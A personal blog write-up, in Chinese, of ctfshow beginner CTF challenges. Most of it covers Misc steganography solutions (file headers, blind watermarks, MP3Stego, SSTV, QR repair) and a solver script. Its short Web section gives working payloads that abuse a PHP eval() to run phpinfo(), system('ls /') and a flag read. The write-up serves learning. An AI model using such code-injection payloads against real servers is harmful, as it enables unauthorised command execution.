ctfshow(一)_新手必刷_菜狗杯

Misc

杂项签到

打开后只有一个图片,用winhex打开,查找ctfshow的flag关键字 ctfshow

image-20230703234402644

损坏的压缩包

附件为压缩包,打开显示损坏,用winhex打开,开头为png,将压缩包改为png图片

image-20230703235046911

image-20230703235130859

谜之栅栏

附件为两个图片,名称为找不同,打开后图片未能正常显示,使用010 Editor打开(Winhex对比不方便),差异比较如图

image-20230704000707699

题中提醒为栅栏密码,用在线工具解密。

image-20230704000914741

你会数数吗

用010 Editor打开 工具→直方图→计数(由高到低)

image-20230704001011917

选择复制字符列到记事本,将’ ‘替换为空

image-20230704001623592

你会异或吗

用010 Editor打开,根据提示进行异或计算,结果头为png,导出为png即可在图片上看到flag。

image-20230704003029667

flag一分为二

打开附件发现图片不完整,利用010 Editor打开修改高度*2,发现右下角有一部分flag,

image-20230704003949495

可以搜索到文本ctf,无思路,参考csdn,使用隐形水印工具提取盲水印得,拼接得flag

image-20230704005441508

我是谁??

打开后需提交正确的编号,且共30关,编号有规律可循,使用bp攻击器

思路不对,附官方方法及脚本:

找到视频的关键帧,然后截取出剪影部分,然后根据剪影在大图里找。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
# 脚本
import requests
from lxml import html
import cv2
import numpy as np
import json


url="http://xxxxxxxxxxxxxxxxxxxx.challenge.ctf.show"

sess=requests.session()

all_girl=sess.get(url+'/static/all_girl.png').content

with open('all_girl.png','wb')as f:
f.write(all_girl)

big_pic=cv2.imdecode(np.fromfile('all_girl.png', dtype=np.uint8), cv2.IMREAD_UNCHANGED)
big_pic=big_pic[50:,50:,:]
image_alpha = big_pic[:, :, 3]
mask_img=np.zeros((big_pic.shape[0],big_pic.shape[1]), np.uint8)
mask_img[np.where(image_alpha == 0)] = 255

cv2.imwrite('big.png',mask_img)



def answer_one(sess):
#获取视频文件
response=sess.get(url+'/check')
if 'ctfshow{' in response.text:
print(response.text)
exit(0)
tree=html.fromstring(response.text)
element=tree.xpath('//source[@id="vsource"]')
video_path=element[0].get('src')
video_bin=sess.get(url+video_path).content
with open('Question.mp4','wb')as f:
f.write(video_bin)
#获取有效帧
video = cv2.VideoCapture('Question.mp4')
frame=0
while frame<=55:
res, image = video.read()
frame+=1
#cv2.imwrite('temp.png',image)
video.release()
#获取剪影
image=image[100:400,250:500]
gray_image=cv2.cvtColor(image,cv2.COLOR_BGR2GRAY)
#cv2.imwrite('gray_image.png',gray_image)
temp = np.zeros((300, 250), np.uint8)
temp[np.where(gray_image>=128)]=255
#去白边
temp = temp[[not np.all(temp[i] == 255) for i in range(temp.shape[0])], :]
temp = temp[:, [not np.all(temp[:, i] == 255) for i in range(temp.shape[1])]]
#缩放至合适大小,肉眼大致判断是1.2倍,不一定准
temp = cv2.resize(temp,None,fx=1.2,fy=1.2)
#查找位置
res =cv2.matchTemplate( mask_img,temp,cv2.TM_CCOEFF_NORMED)
min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(res)
x,y=int(max_loc[0]/192),int(max_loc[1]/288)#为什么是192和288,因为大图去掉标题栏就是1920*2880
guess='ABCDEFGHIJ'[y]+'0123456789'[x]
print(f'guess:{guess}')
#传答案
response=sess.get(url+'/submit?guess='+guess)
r=json.loads(response.text)
if r['result']:
print('guess right!')
return True
else:
print('guess wrong!')
return False

i=1

while i<=31:
print(f'Round:{i}')
if answer_one(sess):
i+=1
else:
i=1

image-20230704015518064

ctfshow{d046cedb-7851-4ae3-aa53-1fdf505c0ec7}

运行Python脚本前需要安装软件包,cv2安装前需要命令行执行pip install opencv-python

You and me

使用开源程序 [BlindWaterMark](chishaxie/BlindWaterMark: 盲水印 by python (github.com)) 拉取到本地,执行程序

1
2
3
4
git clone git@github.com:chishaxie/BlindWaterMark.git
cd BlindWaterMark
python bwmforpy3.py decode you.png you_and_me.png wm_from_hui.png
# you.png 水印图 you_and_me.png 有盲水印的图 wm_from_hui.png 反解出来的水印图

image-20230704130217826

打开wm_from_hui.png获取flag

黑丝白丝还有什么丝?

额,在给菁菁直播的时候做的题,无语到了,让我给她磕一个,@探姬师傅 你说怎么办!!!!!

摩斯密码,白丝. 黑丝- 转场空格

ctfshow{W4NTT0B3MORECUTE}

我吐了你随意

附件提示明显:O宽隐写(零宽度字符的Unicode隐写术:纯文本隐写术,带有Unicode的零宽度字符。零宽度字符插入文本中。)

利用在线工具解密 零宽度字符的Unicode隐写术
ctfshow{OP_is_for_Over_Power}

这是个什么文件?

有压缩密码,010 Editor打开,扩展知识:各种文件类型及文件头标识大全(十六进制) 扩展知识:Zip伪加密 破解ZIP密码
打开ctfhub tools搜索ZipCenOp,下载打开执行 java -jar ZipCenOp.jar r 这是个什么文件.zip
image-20230704140001652解压后将文件拖入 010 Editor,看到“pyÚ” 字样,怀疑是 pyc文件 逆python–pyc文件结构及pyc混淆基础_pyc反混淆_招财猫的小叮当的博客-CSDN博客](https://blog.csdn.net/weixin_44222568/article/details/111672799)) [在线工具逆向](python反编译 - 在线工具 (tool.lu))得代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.7

flag = bytes([
99,
116,
102,
115,
104,
111,
119,
123,
99,
100,
106,
110,
106,
100,
95,
53,
54,
53,
102,
95,
71,
67,
68,
72,
95,
107,
99,
114,
105,
109,
125]).decode()
print(flag)

运行得 ctfshow{cdjnjd_565f_GCDH_kcrim}

抽象画

打开文件,base特征,使用BaseCrack,经过三次解码得十六进制,将其复制到010 Editor看到png另存为png,位图色块(Piet语言特性),用npiet 打开

ctfshow{dec8de_frejnv_frejer89}

迅疾响应

打开是个二维码扫描无效

010 Editor打开附件搜索flag,发现让人压缩包,新建rar打开只有一个flag is not here.txt且有密码image-20230705132529648

尝试二维码突破 二维码之QR码生成原理与损坏修复 - luogi - 博客园 (cnblogs.com)

PsQREdit扫描无效

image-20230705133239793

qrazybox扫描 可以自己部署一个,Merricx/qrazybox:QR码分析和恢复工具包 (github.com)image-20230705133341124

出现flag,但不完整image-20230705133412578

将纠错区涂白,恢复原理参考上方超链

image-20230705135457311

再次提取信息得完整flag ctfshow{11451419-1981-landexiangle}

我可没有骗你

压缩包有密码,bandzip密码恢复 得 55813329

解压发现是一首歌,播放 网易云听歌识曲 评论区提示使用 MP3stego

image-20230705141333071

010 打开发现是wav,更改文件后缀,使用 沉默之眼 - 隐写术是你的 (achorein.github.io) 打开

image-20230705160115820 音质改为high 得出 ctfshow{aha_cdsc_jejcfe5rj_cjfr24J}

你被骗了

拖入010 打开以后的flag提交为错误

image-20230705160434363

使用 MP3Stego decode -X -P nibeipianle nibeipianle.mp3

image-20230705160830272

ctfshow{chdv_1dcs_cjksnjn_NJDSjdcdjn}

一闪一闪亮晶晶

压缩包中音乐被加密,图片打开是汉信码 在线解码工具:在线汉信码识别,汉信码解码 - 兔子二维码 (tuzim.net) 得出压缩包密码:CDBHSBHSxskv6

音乐打开 感觉是音频隐写 CTFmisc常见音频隐写总结_ctf 音频隐写_vlan103的博客-CSDN博客

判断为SSTV 使用电脑播放,手机软件robot36接收

1688553252450

ctfshow{NNICCETOMMETYOU}

Web

web签到

题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 09:38:59
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
highlight_file(__FILE__);

eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

考点在于嵌套,分层传参

1
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);

从内到外:

1
2
3
4
5
6
7
8
9
第一层:$_COOKIE['CTFshow-QQ群:'] cookie传参

第二层:$_POST[$_COOKIE['CTFshow-QQ群:'] POST传参

第三层:$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']] GET传参

最终层:$_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]] GET/POST都可以

后面的是参数数组名而已[6][0][7][5][8][0][9][4][4]

payload

1
2
3
4
5
cookie: CTFshow-QQ%E7%BE%A4:=a
# 注意:有中文要进行url编码 使用在线编码工具即可
post: a=b
get: b=c
c[6][0][7][5][8][0][9][4][4]=phpinfo();

成功返回image-20230705235218819

更改payload

c[6][0][7][5][8][0][9][4][4]=system(%22ls%20/%22);

image-20230705235441899

再次返回后,flag应该在里面 cat出来

image-20230705235546429

得到 ctfshow{726e68fb-7553-4119-b3bf-7cd7cb6c5c65}

web2 c0me_t0_s1gn

打开提醒我们god's eye,直接f12,找到了一部分flagimage-20230707022108758

剩下的的部分提醒我们打开控制台,根据提醒就拿到了全部的flag

image-20230707022223005

很简单的一道题,善用开发者工具 ctfshow{We1c0me_t0_jo1n_u3_!}

我的眼里只有$

变量覆盖传参,且第一个为_,传入就行了,参数有点多。。。。写两行代码,试试新学的golang🫠

未完待续——[日更ing]

2023年7月6日00:13:45


ctfshow(一)_新手必刷_菜狗杯
https://www.305871230.xyz/posts/2114037321/
作者
游理
发布于
2023年7月3日
许可协议